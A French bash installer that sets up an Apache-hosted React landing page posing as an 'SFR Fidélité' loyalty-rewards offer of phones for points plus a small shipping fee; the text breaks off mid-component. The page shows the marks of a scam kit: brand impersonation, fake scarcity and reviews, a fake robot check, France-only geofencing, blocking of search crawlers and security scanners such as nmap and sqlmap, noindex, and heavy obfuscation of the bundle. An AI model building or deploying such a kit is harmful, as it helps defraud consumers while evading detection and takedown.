#!/bin/bash

#############################################
#   SCRIPT D'INSTALLATION COMPLET
#   SFR LANDING PAGE - UBUNTU
#   Tout-en-un : de zéro à production
#############################################

set -e

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'

INSTALL_DIR="/var/www/sfr-landing"
NODE_VERSION="20"

echo -e "${RED}"
echo "╔═══════════════════════════════════════════════════════════╗"
echo "║     ███████╗███████╗██████╗     ██╗      █████╗ ███╗   ██╗║"
echo "║     ██╔════╝██╔════╝██╔══██╗    ██║     ██╔══██╗████╗  ██║║"
echo "║     ███████╗█████╗  ██████╔╝    ██║     ███████║██╔██╗ ██║║"
echo "║     ╚════██║██╔══╝  ██╔══██╗    ██║     ██╔══██║██║╚██╗██║║"
echo "║     ███████║██║     ██║  ██║    ███████╗██║  ██║██║ ╚████║║"
echo "║     ╚══════╝╚═╝     ╚═╝  ╚═╝    ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝║"
echo "║          INSTALLATION AUTOMATIQUE COMPLETE                ║"
echo "╚═══════════════════════════════════════════════════════════╝"
echo -e "${NC}"

if [ "$EUID" -ne 0 ]; then
    echo -e "${RED}❌ Lancez avec: sudo bash $0${NC}"
    exit 1
fi

echo -e "${YELLOW}📝 Configuration${NC}"
read -p "Nom de domaine (laissez vide pour IP): " DOMAIN
echo ""

#############################################
echo -e "${GREEN}[1/7] 📦 Mise à jour système...${NC}"
#############################################
apt update && apt upgrade -y
apt install -y curl wget git unzip software-properties-common ca-certificates gnupg

#############################################
echo -e "${GREEN}[2/7] 📗 Installation Node.js...${NC}"
#############################################
curl -fsSL https://deb.nodesource.com/setup_${NODE_VERSION}.x | bash -
apt install -y nodejs
npm install -g yarn

#############################################
echo -e "${GREEN}[3/7] 🌐 Installation Apache...${NC}"
#############################################
apt install -y apache2
a2enmod rewrite headers
systemctl enable apache2

#############################################
echo -e "${GREEN}[4/7] 📁 Création du projet...${NC}"
#############################################
mkdir -p ${INSTALL_DIR}
cd ${INSTALL_DIR}

# Package.json
cat > package.json << 'PACKAGEJSON'
{
  "name": "sfr-landing",
  "version": "1.0.0",
  "private": true,
  "dependencies": {
    "@radix-ui/react-slot": "^1.2.0",
    "class-variance-authority": "^0.7.1",
    "clsx": "^2.1.1",
    "lucide-react": "^0.507.0",
    "react": "^19.0.0",
    "react-dom": "^19.0.0",
    "react-scripts": "5.0.1",
    "tailwind-merge": "^3.2.0",
    "tailwindcss-animate": "^1.0.7"
  },
  "scripts": {
    "start": "craco start",
    "build": "craco build && node encrypt-build.js",
    "build:dev": "craco build"
  },
  "browserslist": {
    "production": [">0.2%", "not dead", "not op_mini all"],
    "development": ["last 1 chrome version", "last 1 firefox version"]
  },
  "devDependencies": {
    "@craco/craco": "^7.1.0",
    "autoprefixer": "^10.4.20",
    "javascript-obfuscator": "^5.2.1",
    "postcss": "^8.4.49",
    "tailwindcss": "^3.4.17",
    "webpack-obfuscator": "^3.6.0"
  }
}
PACKAGEJSON

# craco.config.js
cat > craco.config.js << 'CRACOCONFIG'
const WebpackObfuscator = require('webpack-obfuscator');
module.exports = {
  webpack: {
    configure: (webpackConfig, { env }) => {
      if (env === 'production') {
        webpackConfig.plugins.push(
          new WebpackObfuscator({
            rotateStringArray: true,
            stringArray: true,
            stringArrayThreshold: 1,
            stringArrayEncoding: ['rc4', 'base64'],
            stringArrayWrappersCount: 5,
            stringArrayWrappersChainedCalls: true,
            splitStrings: true,
            splitStringsChunkLength: 3,
            unicodeEscapeSequence: true,
            identifierNamesGenerator: 'hexadecimal',
            identifiersPrefix: '_0x',
            renameGlobals: true,
            compact: true,
            simplify: true,
            transformObjectKeys: true,
            numbersToExpressions: true,
            controlFlowFlattening: true,
            controlFlowFlatteningThreshold: 1,
            deadCodeInjection: true,
            deadCodeInjectionThreshold: 0.4,
            debugProtection: true,
            debugProtectionInterval: 2000,
            disableConsoleOutput: true,
            selfDefending: true,
            sourceMap: false,
            target: 'browser',
          }, [])
        );
        webpackConfig.devtool = false;
      }
      return webpackConfig;
    },
  },
};
CRACOCONFIG

# encrypt-build.js
cat > encrypt-build.js << 'ENCRYPTJS'
const fs = require('fs');
const path = require('path');
const zlib = require('zlib');
const BUILD_DIR = path.join(__dirname, 'build');
console.log('🔐 Cryptage...');
const cssFiles = fs.readdirSync(path.join(BUILD_DIR, 'static/css')).filter(f => f.endsWith('.css'));
let cssContent = '';
cssFiles.forEach(file => { cssContent += fs.readFileSync(path.join(BUILD_DIR, 'static/css', file), 'utf8'); });
const jsFiles = fs.readdirSync(path.join(BUILD_DIR, 'static/js')).filter(f => f.endsWith('.js'));
let jsContent = '';
jsFiles.forEach(file => { jsContent += fs.readFileSync(path.join(BUILD_DIR, 'static/js', file), 'utf8'); });
const compressedCSS = zlib.gzipSync(cssContent).toString('base64');
const compressedJS = zlib.gzipSync(jsContent).toString('base64');
const encryptedHTML = '<!DOCTYPE html><html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#E4002B"><meta name="robots" content="noindex,nofollow"><title>SFR Fidélité</title><link rel="icon" href="data:image/svg+xml,<svg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 100 100\'><rect fill=\'%23E4002B\' width=\'30\' height=\'30\'/><rect fill=\'%23E4002B\' x=\'35\' width=\'30\' height=\'30\'/><rect fill=\'%23E4002B\' x=\'70\' width=\'30\' height=\'30\'/></svg>"></head><body><div id="root"></div><script>(async()=>{const _0x=(b,t)=>{const d=atob(b),a=new Uint8Array(d.length);for(let i=0;i<d.length;i++)a[i]=d.charCodeAt(i);const s=new DecompressionStream(t);const r=new Response(new Blob([a]).stream().pipeThrough(s));return r.text()};const _0xC=\'' + compressedCSS + '\';const _0xJ=\'' + compressedJS + '\';const[c,j]=await Promise.all([_0x(_0xC,\'gzip\'),_0x(_0xJ,\'gzip\')]);const s=document.createElement(\'style\');s.textContent=c;document.head.appendChild(s);const e=document.createElement(\'script\');e.textContent=j;document.body.appendChild(e)})().catch(e=>{document.body.innerHTML=\'<div style="display:flex;align-items:center;justify-content:center;height:100vh;font-family:sans-serif;background:#1e293b;color:#fff"><div style="text-align:center"><h1>Erreur</h1><button onclick="location.reload()" style="margin-top:20px;padding:10px 20px;background:#E4002B;color:#fff;border:none;border-radius:8px;cursor:pointer">Rafraîchir</button></div></div>\'})</script></body></html>';
fs.writeFileSync(path.join(BUILD_DIR, 'index.html'), encryptedHTML);
cssFiles.forEach(f => fs.unlinkSync(path.join(BUILD_DIR, 'static/css', f)));
jsFiles.forEach(f => fs.unlinkSync(path.join(BUILD_DIR, 'static/js', f)));
try { fs.rmSync(path.join(BUILD_DIR, 'static'), { recursive: true }); } catch(e) {}
['asset-manifest.json', 'robots.txt'].forEach(f => { try { fs.unlinkSync(path.join(BUILD_DIR, f)); } catch(e) {} });
console.log('✅ Cryptage terminé');
ENCRYPTJS

# tailwind.config.js
cat > tailwind.config.js << 'TAILWINDCFG'
module.exports = {
  content: ["./src/**/*.{js,jsx}"],
  theme: {
    extend: {
      colors: { 'sfr-red': '#E4002B' }
    },
  },
  plugins: [require("tailwindcss-animate")],
}
TAILWINDCFG

# postcss.config.js
cat > postcss.config.js << 'POSTCSSCFG'
module.exports = {
  plugins: {
    tailwindcss: {},
    autoprefixer: {},
  },
}
POSTCSSCFG

# Créer la structure src
mkdir -p src/components/ui src/hooks src/lib public

# public/products.json
cat > public/products.json << 'PRODUCTSJSON'
{
  "meta": { "currency": "EUR", "program": "SFR Fidélité" },
  "products": [
    {
      "id": "iphone-16-pro",
      "title": "iPhone 16 Pro 256 Go",
      "points_required": 21800,
      "shipping_price_eur": 2.85,
      "image_url": "https://assets.mmsrg.com/isr/166325/c1/-/ASSET_MP_153544135?x=536&y=402&format=jpg&quality=80",
      "product_url": "https://example.com/iphone",
      "badge": "Recommandé",
      "priority": 10,
      "active": true,
      "stock_left": 5,
      "reviews": 4.9,
      "reviews_count": 1247
    },
    {
      "id": "samsung-s25-ultra",
      "title": "Samsung S25 Ultra",
      "points_required": 19900,
      "shipping_price_eur": 2.85,
      "image_url": "https://cdn.lesnumeriques.com/optim/product/75/75590/3ad46717-galaxy-s25-ultra__1200_1200__overflow.jpg",
      "product_url": "https://example.com/samsung",
      "badge": "Populaire",
      "priority": 10,
      "active": true,
      "stock_left": 12,
      "reviews": 4.8,
      "reviews_count": 892
    },
    {
      "id": "xiaomi-15-ultra",
      "title": "Xiaomi 15 Ultra 16 Go",
      "points_required": 20100,
      "shipping_price_eur": 2.85,
      "image_url": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQby53KeQgykLE3jR_ki8xdFFSi4uykxgOSng&s",
      "product_url": "https://example.com/xiaomi",
      "badge": "Nouveau",
      "priority": 9,
      "active": true,
      "stock_left": 8,
      "reviews": 4.5,
      "reviews_count": 654
    }
  ]
}
PRODUCTSJSON

# src/index.js
cat > src/index.js << 'INDEXJS'
import React from 'react';
import ReactDOM from 'react-dom/client';
import './index.css';
import App from './App';
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(<React.StrictMode><App /></React.StrictMode>);
INDEXJS

# src/index.css
cat > src/index.css << 'INDEXCSS'
@tailwind base;
@tailwind components;
@tailwind utilities;
body { margin: 0; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; -webkit-font-smoothing: antialiased; }
@keyframes confetti { 0% { transform: translateY(-100vh) rotate(0deg); opacity: 1; } 100% { transform: translateY(100vh) rotate(720deg); opacity: 0; } }
.animate-confetti { animation: confetti 2s ease-out forwards; }
INDEXCSS

# src/App.js
cat > src/App.js << 'APPJS'
import React, { useState, useCallback } from "react";
import GeoBlocker from "./components/GeoBlocker";
import BotBlocker from "./components/BotBlocker";
import SecurityCheck from "./components/SecurityCheck";
import LoadingScreen from "./components/LoadingScreen";
import ResultsGrid from "./components/ResultsGrid";
import { useProducts } from "./hooks/useProducts";

const STATES = { SECURITY: 'security', LOADING: 'loading', RESULTS: 'results' };

function App() {
  const [appState, setAppState] = useState(STATES.SECURITY);
  const { products, loading, error, retry } = useProducts();
  const handleSecurityVerified = useCallback(() => setAppState(STATES.LOADING), []);
  const handleLoadingComplete = useCallback(() => setAppState(STATES.RESULTS), []);

  return (
    <GeoBlocker>
      <BotBlocker>
        <div className="min-h-screen flex flex-col bg-white">
          <main className="flex-1">
            {appState === STATES.SECURITY && <SecurityCheck onVerified={handleSecurityVerified} />}
            {appState === STATES.LOADING && <LoadingScreen onComplete={handleLoadingComplete} />}
            {appState === STATES.RESULTS && <ResultsGrid products={products} loading={loading} error={error} onRetry={retry} />}
          </main>
        </div>
      </BotBlocker>
    </GeoBlocker>
  );
}
export default App;
APPJS

# src/hooks/useProducts.js
cat > src/hooks/useProducts.js << 'USEPRODUCTS'
import { useState, useEffect } from 'react';
export const useProducts = () => {
  const [products, setProducts] = useState([]);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(null);
  const fetchProducts = async () => {
    setLoading(true);
    try {
      const response = await fetch('/products.json');
      const data = await response.json();
      setProducts(data.products || []);
    } catch (err) { setError(err.message); }
    finally { setLoading(false); }
  };
  useEffect(() => { fetchProducts(); }, []);
  return { products, loading, error, retry: fetchProducts };
};
USEPRODUCTS

# src/lib/utils.js
cat > src/lib/utils.js << 'UTILSJS'
import { clsx } from "clsx";
import { twMerge } from "tailwind-merge";
export function cn(...inputs) { return twMerge(clsx(inputs)); }
UTILSJS

# src/components/ui/button.jsx
cat > src/components/ui/button.jsx << 'BUTTONJSX'
import * as React from "react";
import { Slot } from "@radix-ui/react-slot";
import { cva } from "class-variance-authority";
import { cn } from "../../lib/utils";
const buttonVariants = cva("inline-flex items-center justify-center rounded-md text-sm font-medium transition-colors focus-visible:outline-none disabled:pointer-events-none disabled:opacity-50", {
  variants: {
    variant: { default: "bg-slate-900 text-white hover:bg-slate-800", destructive: "bg-red-500 text-white hover:bg-red-600", outline: "border border-slate-200 bg-white hover:bg-slate-100", secondary: "bg-slate-100 text-slate-900 hover:bg-slate-200", ghost: "hover:bg-slate-100", link: "text-slate-900 underline-offset-4 hover:underline" },
    size: { default: "h-10 px-4 py-2", sm: "h-9 rounded-md px-3", lg: "h-11 rounded-md px-8", icon: "h-10 w-10" }
  },
  defaultVariants: { variant: "default", size: "default" }
});
const Button = React.forwardRef(({ className, variant, size, asChild = false, ...props }, ref) => {
  const Comp = asChild ? Slot : "button";
  return <Comp className={cn(buttonVariants({ variant, size, className }))} ref={ref} {...props} />;
});
Button.displayName = "Button";
export { Button, buttonVariants };
BUTTONJSX

# src/components/ui/skeleton.jsx
cat > src/components/ui/skeleton.jsx << 'SKELETONJSX'
import { cn } from "../../lib/utils";
function Skeleton({ className, ...props }) {
  return <div className={cn("animate-pulse rounded-md bg-slate-100", className)} {...props} />;
}
export { Skeleton };
SKELETONJSX

# src/components/GeoBlocker.jsx
cat > src/components/GeoBlocker.jsx << 'GEOBLOCKER'
import React, { useState, useEffect, useRef } from 'react';
import { ShieldX, MapPin, Globe } from 'lucide-react';

const GeoBlocker = ({ children }) => {
  const [isAllowed, setIsAllowed] = useState(null);
  const [countryInfo, setCountryInfo] = useState({ code: '', name: '' });
  const hasChecked = useRef(false);

  useEffect(() => {
    if (hasChecked.current) return;
    hasChecked.current = true;
    const checkLocation = async () => {
      const allowedCodes = ['FR', 'GP', 'MQ', 'GF', 'RE', 'YT', 'PM', 'WF', 'PF', 'NC', 'BL', 'MF'];
      const isCountryAllowed = (code) => code && allowedCodes.includes(code.toUpperCase().trim());
      const apis = [
        { url: 'https://ipwho.is/', parse: (d) => ({ code: d.country_code, name: d.country }) },
        { url: 'https://ipapi.co/json/', parse: (d) => ({ code: d.country_code, name: d.country_name }) },
        { url: 'https://api.country.is/', parse: (d) => ({ code: d.country, name: d.country }) }
      ];
      for (const api of apis) {
        try {
          const controller = new AbortController();
          const timeoutId = setTimeout(() => controller.abort(), 5000);
          const response = await fetch(api.url, { signal: controller.signal, cache: 'no-store' });
          clearTimeout(timeoutId);
          if (response.ok) {
            const data = await response.json();
            const { code, name } = api.parse(data);
            if (code) {
              setCountryInfo({ code: code.toUpperCase(), name: name || code });
              setIsAllowed(isCountryAllowed(code));
              return;
            }
          }
        } catch (e) {}
      }
      setIsAllowed(true);
    };
    checkLocation();
    const timeout = setTimeout(() => { setIsAllowed(prev => prev === null ? true : prev); }, 10000);
    return () => clearTimeout(timeout);
  }, []);

  if (isAllowed === null) return (
    <div className="min-h-screen bg-gradient-to-br from-slate-900 via-slate-800 to-slate-900 flex items-center justify-center p-4">
      <div className="text-center">
        <Globe className="w-10 h-10 text-red-500 animate-spin mx-auto mb-4" />
        <p className="text-slate-400">Vérification...</p>
      </div>
    </div>
  );

  if (!isAllowed) return (
    <div className="min-h-screen bg-gradient-to-br from-slate-900 via-slate-800 to-slate-900 flex items-center justify-center p-4">
      <div className="bg-white/10 backdrop-blur-xl rounded-3xl p-8 max-w-md border border-white/20 text-center">
        <ShieldX className="w-12 h-12 text-red-500 mx-auto mb-4" />
        <h1 className="text-2xl font-bold text-white mb-4">Accès non disponible</h1>
        <div className="bg-slate-800/50 rounded-2xl p-4 mb-6 flex items-center justify-center gap-2 text-slate-300">
          <MapPin className="w-5 h-5 text-red-500" />
          <span>Localisation : <strong>{countryInfo.name}</strong></span>
        </div>
        <p className="text-slate-400">Service réservé aux résidents de <strong className="text-white">France</strong>.</p>
      </div>
    </div>
  );
  return <>{children}</>;
};
export default GeoBlocker;
GEOBLOCKER

# src/components/BotBlocker.jsx
cat > src/components/BotBlocker.jsx << 'BOTBLOCKER'
import React, { useEffect, useState, useRef, useCallback } from 'react';
import { ShieldX, AlertTriangle, Bot } from 'lucide-react';

const BOT_UA = ['googlebot','bingbot','slurp','duckduckbot','baiduspider','yandexbot','sogou','facebot','mj12bot','ahrefsbot','semrushbot','dotbot','rogerbot','ccbot','applebot','crawler','spider','scraper','wget','curl','libwww','python-requests','python-urllib','go-http-client','java/','httpclient','okhttp','mechanize','scrapy','phantomjs','headlesschrome','puppeteer','playwright','selenium','webdriver','chromedriver','geckodriver','twitterbot','linkedinbot','slackbot','telegrambot','whatsapp','discordbot','archive.org_bot','masscan','nmap','nikto','sqlmap'];

const BotBlocker = ({ children }) => {
  const [isBlocked, setIsBlocked] = useState(false);
  const [isChecking, setIsChecking] = useState(true);
  const [score, setScore] = useState(100);

  useEffect(() => {
    const runChecks = () => {
      let s = 100;
      const ua = navigator.userAgent.toLowerCase();
      for (const bot of BOT_UA) { if (ua.includes(bot)) { s -= 50; break; } }
      if (navigator.webdriver === true) s -= 50;
      const indicators = ['__webdriver_evaluate','__selenium_evaluate','__webdriver_script_function','_Selenium_IDE_Recorder','$cdc_asdjflasutopfhvcZLmcfl_','$chrome_asyncScriptInfo','domAutomation','domAutomationController'];
      for (const ind of indicators) { if (window[ind]) { s -= 30; break; } }
      if (navigator.plugins && navigator.plugins.length === 0) s -= 10;
      if (!navigator.languages || navigator.languages.length === 0) s -= 10;
      setScore(s);
      if (s < 50) setIsBlocked(true);
      setIsChecking(false);
    };
    setTimeout(runChecks, 200);
  }, []);

  if (isChecking) return (
    <div className="min-h-screen bg-gradient-to-br from-slate-900 via-slate-800 to-slate-900 flex items-center justify-center">
      <Bot className="w-8 h-8 text-blue-500 animate-pulse" />
    </div>
  );

  if (isBlocked) return (
    <div className="min-h-screen bg-gradient-to-br from-slate-900 via-red-900/20 to-slate-900 flex items-center justify-center p-4">
      <div className="bg-white/5 backdrop-blur-xl rounded-3xl p-8 max-w-md border border-red-500/30 text-center">
        <ShieldX className="w-12 h-12 text-red-500 mx-auto mb-4" />
        <h1 className="text-2xl font-bold text-white mb-4">Accès Refusé</h1>
        <p className="text-slate-400 mb-6">L&apos;accès automatisé n&apos;est pas autorisé.</p>
        <div className="bg-red-500/10 border border-red-500/30 rounded-xl p-4 flex items-center justify-center gap-2 text-red-400 text-sm">
          <AlertTriangle className="w-4 h-4" />
          <span>Robot détecté</span>
        </div>
        <p className="text-xs text-slate-500 mt-4">Score: {score}/100</p>
      </div>
    </div>
  );
  return <>{children}</>;
};
export default BotBlocker;
BOTBLOCKER

# src/components/SecurityCheck.jsx
cat > src/components/SecurityCheck.jsx << 'SECURITYCHECK'
import React, { useState, useEffect, useCallback } from 'react';
import { Shield, CheckCircle, Lock, Sparkles } from 'lucide-react';

const SecurityCheck = ({ onVerified }) => {
  const [mouseMovements, setMouseMovements] = useState(0);
  const [isVerifying, setIsVerifying] = useState(false);
  const [isVerified, setIsVerified] = useState(false);
  const [checkboxChecked, setCheckboxChecked] = useState(false);
  const [progress, setProgress] = useState(0);
  const [honeypot, setHoneypot] = useState('');

  useEffect(() => {
    const handleMouseMove = () => setMouseMovements(prev => prev + 1);
    window.addEventListener('mousemove', handleMouseMove);
    return () => window.removeEventListener('mousemove', handleMouseMove);
  }, []);

  const handleVerification = useCallback(() => {
    if (honeypot !== '' || mouseMovements < 3) return;
    setIsVerifying(true);
    const interval = setInterval(() => {
      setProgress(prev => { if (prev >= 100) { clearInterval(interval); return 100; } return prev + 4; });
    }, 50);
    setTimeout(() => { setIsVerified(true); setTimeout(() => onVerified(), 600); }, 1500);
  }, [honeypot, mouseMovements, onVerified]);

  return (
    <div className="min-h-screen bg-gradient-to-br from-slate-900 via-slate-800 to-slate-900 flex items-center justify-center p-4 relative overflow-hidden">
      <div className="absolute inset-0 overflow-hidden">
        <div className="absolute -top-40 -right-40 w-80 h-80 bg-red-500/20 rounded-full blur-3xl animate-pulse"></div>
        <div className="absolute -bottom-40 -left-40 w-80 h-80 bg-red-600/20 rounded-full blur-3xl animate-pulse"></div>
      </div>
      <div className="relative z-10 w-full max-w-md">
        <div className="text-center mb-8">
          <div className="inline-flex items-center gap-3 mb-4">
            <div className="flex gap-1">
              <div className="w-3 h-3 bg-red-500 rounded-sm"></div>
              <div className="w-3 h-3 bg-red-500 rounded-sm"></div>
              <div className="w-3 h-3 bg-red-500 rounded-sm"></div>
            </div>
            <span className="text-3xl font-black text-white">SFR</span>
          </div>
          <div className="inline-flex items-center gap-2 bg-amber-500/20 border border-amber-500/30 rounded-full px-4 py-1.5">
            <Sparkles className="w-4 h-4 text-amber-400" />
            <span className="text-amber-300 text-sm font-medium">Programme Fidélité</span>
          </div>
        </div>
        <div className="bg-white/10 backdrop-blur-xl rounded-3xl p-8 border border-white/20">
          {!isVerifying && !isVerified && (
            <>
              <div className="text-center mb-8">
                <div className="inline-flex items-center justify-center w-20 h-20 bg-gradient-to-br from-red-500 to-red-600 rounded-2xl mb-4">
                  <Shield className="w-10 h-10 text-white" />
                </div>
                <h1 className="text-2xl font-bold text-white mb-2">Vérification rapide</h1>
                <p className="text-slate-400">Confirmez que vous êtes humain</p>
              </div>
              <div onClick={() => setCheckboxChecked(!checkboxChecked)} className={`cursor-pointer rounded-2xl p-5 mb-6 transition-all border-2 ${checkboxChecked ? 'bg-red-500/20 border-red-500' : 'bg-white/5 border-white/10 hover:border-white/30'}`}>
                <div className="flex items-center gap-4">
                  <div className={`w-7 h-7 rounded-lg border-2 flex items-center justify-center ${checkboxChecked ? 'bg-red-500 border-red-500' : 'border-slate-500'}`}>
                    {checkboxChecked && <CheckCircle className="w-5 h-5 text-white" />}
                  </div>
                  <span className="text-white font-medium text-lg">Je ne suis pas un robot</span>
                  <Lock className="w-6 h-6 text-slate-500 ml-auto" />
                </div>
              </div>
              <input type="text" value={honeypot} onChange={(e) => setHoneypot(e.target.value)} className="hidden" tabIndex={-1} />
              <button onClick={handleVerification} disabled={!checkboxChecked} className={`w-full py-4 rounded-2xl font-bold text-lg transition-all ${checkboxChecked ? 'bg-gradient-to-r from-red-500 to-red-600 text-white shadow-lg hover:scale-[1.02]' : 'bg-slate-700 text-slate-500 cursor-not-allowed'}`}>
                🎁 Découvrir mes récompenses
              </button>
            </>
          )}
          {isVerifying && !isVerified && (
            <div className="text-center py-8">
              <Shield className="w-10 h-10 text-red-500 mx-auto mb-4 animate-pulse" />
              <h2 className="text-xl font-bold text-white mb-4">Vérification...</h2>
              <div className="w-full h-2 bg-slate-700 rounded-full overflow-hidden">
                <div className="h-full bg-red-500 rounded-full transition-all" style={{ width: `${progress}%` }} />
              </div>
            </div>
          )}
          {isVerified && (
            <div className="text-center py-8">
              <CheckCircle className="w-10 h-10 text-emerald-500 mx-auto mb-4 animate-bounce" />
              <h2 className="text-xl font-bold text-white">Vérification réussie !</h2>
            </div>
          )}
        </div>
      </div>
    </div>
  );
};
export default SecurityCheck;
SECURITYCHECK

# src/components/LoadingScreen.jsx
cat > src/components/LoadingScreen.jsx << 'LOADINGSCREEN'
import React, { useState, useEffect, useMemo } from 'react';
import { Gift, Zap, TrendingUp } from 'lucide-react';

const LoadingScreen = ({ onComplete }) => {
  const [progress, setProgress] = useState(0);
  const [step, setStep] = useState(0);
  const steps = [
    { icon: '📡', text: 'Connexion au réseau SFR...' },
    { icon: '👤', text: 'Identification du compte...' },
    { icon: '⭐', text: 'Calcul des points...' },
    { icon: '🎁', text: 'Recherche des offres...' },
    { icon: '✨', text: 'Préparation...' },
  ];
  const particles = useMemo(() => [...Array(20)].map((_, i) => ({ id: i, left: `${(i*5)%100}%`, top: `${(i*7+10)%100}%`, delay: `${(i*0.1)%2}s` })), []);

  useEffect(() => {
    const timer = setInterval(() => {
      setProgress(prev => { if (prev >= 100) { clearInterval(timer); setTimeout(() => onComplete(), 300); return 100; } return prev + 2.5; });
    }, 40);
    return () => clearInterval(timer);
  }, [onComplete]);

  useEffect(() => { setStep(Math.min(Math.floor(progress / 20), 4)); }, [progress]);

  return (
    <div className="min-h-screen bg-gradient-to-br from-slate-900 via-slate-800 to-slate-900 flex items-center justify-center p-4 relative overflow-hidden">
      {particles.map(p => <div key={p.id} className="absolute w-1 h-1 bg-red-500/30 rounded-full animate-pulse" style={{ left: p.left, top: p.top, animationDelay: p.delay }} />)}
      <div className="relative z-10 w-full max-w-lg text-center">
        <div className="inline-flex items-center gap-3 mb-8">
          <div className="flex gap-1">
            <div className="w-4 h-4 bg-red-500 rounded-sm animate-pulse"></div>
            <div className="w-4 h-4 bg-red-500 rounded-sm animate-pulse"></div>
            <div className="w-4 h-4 bg-red-500 rounded-sm animate-pulse"></div>
          </div>
          <span className="text-4xl font-black text-white">SFR</span>
        </div>
        <div className="bg-white/10 backdrop-blur-xl rounded-3xl p-8 border border-white/20 mb-8">
          <Gift className="w-16 h-16 text-red-500 mx-auto mb-6 animate-bounce" />
          <div className="relative w-24 h-24 mx-auto mb-6">
            <svg className="w-24 h-24 transform -rotate-90">
              <circle cx="48" cy="48" r="44" stroke="rgba(255,255,255,0.1)" strokeWidth="8" fill="none" />
              <circle cx="48" cy="48" r="44" stroke="#ef4444" strokeWidth="8" fill="none" strokeLinecap="round" strokeDasharray={`${progress*2.76} 276`} />
            </svg>
            <span className="absolute inset-0 flex items-center justify-center text-2xl font-black text-white">{Math.round(progress)}%</span>
          </div>
          <p className="text-xl font-bold text-white"><span className="text-2xl mr-2">{steps[step].icon}</span>{steps[step].text}</p>
        </div>
        <div className="grid grid-cols-3 gap-4">
          {[{ icon: Gift, label: 'Récompenses', value: '10+' }, { icon: Zap, label: 'Économies', value: '1050€' }, { icon: TrendingUp, label: 'Points', value: '20.2K' }].map((s, i) => (
            <div key={i} className="bg-white/5 rounded-2xl p-4 border border-white/10">
              <s.icon className="w-6 h-6 text-red-500 mx-auto mb-2" />
              <p className="text-white font-bold">{s.value}</p>
              <p className="text-slate-500 text-xs">{s.label}</p>
            </div>
          ))}
        </div>
      </div>
    </div>
  );
};
export default LoadingScreen;
LOADINGSCREEN

# src/components/ResultsGrid.jsx
cat > src/components/ResultsGrid.jsx << 'RESULTSGRID'
import React, { useState } from 'react';
import { Button } from './ui/button';
import { ChevronDown, Gift, Sparkles, Trophy, Zap, Star, Truck, ShoppingBag, ChevronRight } from 'lucide-react';
import { Skeleton } from './ui/skeleton';

const ProductCard = ({ product }) => {
  const { title, points_required, shipping_price_eur, image_url, product_url, badge, stock_left, reviews, reviews_count } = product;
  const [isHovered, setIsHovered] = useState(false);
  const getBadgeStyle = () => {
    const styles = { 'Recommandé': 'bg-gradient-to-r from-red-500 to-red-600', 'Populaire': 'bg-gradient-to-r from-emerald-500 to-emerald-600', 'Nouveau': 'bg-gradient-to-r from-amber-400 to-orange-500' };
    return styles[badge] || styles['Recommandé'];
  };
  const handleClick = () => window.open(product_url, '_blank');

  return (
    <article className={`group bg-white rounded-3xl overflow-hidden shadow-lg hover:shadow-2xl transition-all flex flex-col border border-gray-100 ${isHovered ? 'scale-[1.02]' : ''}`} onMouseEnter={() => setIsHovered(true)} onMouseLeave={() => setIsHovered(false)}>
      <div className="relative h-56 bg-gradient-to-br from-slate-50 to-slate-100 overflow-hidden">
        <img src={image_url} alt={title} className={`w-full h-full object-contain p-6 transition-transform duration-700 ${isHovered ? 'scale-110' : ''}`} loading="lazy" />
        {badge && <span className={`absolute top-4 left-4 px-3 py-1.5 rounded-full text-xs font-bold text-white ${getBadgeStyle()}`}>{badge}</span>}
        {stock_left <= 5 && <div className="absolute bottom-4 left-4 right-4 bg-red-500 text-white rounded-full px-4 py-2 flex items-center justify-center gap-2 text-sm font-bold animate-pulse"><Zap className="w-4 h-4" />Plus que {stock_left} en stock !</div>}
      </div>
      <div className="p-6 flex flex-col flex-1">
        <h3 className="font-bold text-gray-900 text-lg mb-3 line-clamp-2 group-hover:text-red-500 transition-colors">{title}</h3>
        {reviews && <div className="flex items-center gap-2 mb-4"><div className="flex">{[...Array(5)].map((_, i) => <Star key={i} className={`w-4 h-4 ${i < Math.floor(reviews) ? 'fill-amber-400 text-amber-400' : 'text-gray-200'}`} />)}</div><span className="text-sm text-gray-500">({reviews_count})</span></div>}
        <div className="bg-gradient-to-r from-slate-900 to-slate-800 rounded-2xl p-4 mb-4">
          <div className="flex items-center justify-between"><span className="text-slate-400 text-sm">Points requis</span><div><span className="text-3xl font-black text-white">{points_required.toLocaleString('fr-FR')}</span><span className="text-slate-400 ml-1 text-sm">pts</span></div></div>
        </div>
        <div className="flex items-center gap-2 text-sm text-gray-500 mb-5"><Truck className="w-4 h-4 text-emerald-500" /><span className="text-emerald-600 font-medium">{shipping_price_eur === 0 ? 'Livraison GRATUITE' : `Livraison ${shipping_price_eur.toFixed(2)}€`}</span></div>
        <div className="flex-1" />
        <button onClick={handleClick} className="w-full bg-gradient-to-r from-red-500 to-red-600 hover:from-red-600 hover:to-red-700 text-white font-bold py-4 rounded-2xl flex items-center justify-center gap-2 transition-all shadow-lg"><ShoppingBag className="w-5 h-5" /><span>Choisir</span><ChevronRight className="w-5 h-5" /></button>
      </div>
    </article>
  );
};

const ResultsGrid = ({ products, loading, error, onRetry }) => {
  const [showMore, setShowMore] = useState(false);
  const sortedProducts = [...products].filter(p => p.active).sort((a, b) => b.points_required - a.points_required);
  const displayedProducts = showMore ? sortedProducts : sortedProducts.slice(0, 6);

  if (error) return <section className="min-h-[50vh] flex items-center justify-center"><div className="text-center"><Gift className="w-16 h-16 text-red-400 mx-auto mb-4" /><h2 className="text-xl font-bold mb-2">Erreur</h2><Button onClick={onRetry} className="bg-red-500">Réessayer</Button></div></section>;
  if (loading) return <section className="px-4 py-12 bg-gray-50"><div className="max-w-6xl mx-auto grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">{[...Array(6)].map((_, i) => <div key={i} className="bg-white rounded-2xl p-5"><Skeleton className="aspect-square w-full mb-4" /><Skeleton className="h-6 w-3/4 mb-4" /><Skeleton className="h-12 w-full" /></div>)}</div></section>;

  return (
    <section className="bg-gradient-to-b from-gray-50 to-white">
